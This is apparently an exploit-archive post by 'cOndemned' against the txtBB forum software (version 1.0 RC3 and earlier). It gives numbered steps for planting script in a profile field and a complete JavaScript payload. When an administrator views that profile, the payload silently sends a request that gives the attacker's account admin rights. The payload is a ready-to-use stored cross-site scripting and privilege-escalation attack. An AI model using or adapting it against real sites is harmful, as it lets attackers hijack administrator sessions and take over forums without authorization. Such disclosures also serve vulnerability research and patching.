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txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
By cOndemned
  
Greetz: 
  ZaBeaTy, sid.psycho, Alfons Luja, vCore, irk4z & str0ke ;)


Exploitation:
  1. Create an account 
  2. Go to http://[host]/[txtbb10RC3_path]/index.php?type=account 
  3. Put exploit code into one of the fields ex. "Miasto" ([code] + City name)
  4. When admin enters U'r account - pwn3d - Your user will get admin rights


Exploit Source :

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<script>

var req = new XMLHttpRequest(); 

req.open('POST', 'admin.php?action=users&type=edit&login=USER_NICK&save=1', false); 
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
req.send('signature=&avatar=&type=3&password=&submit=Zapisz');

</script>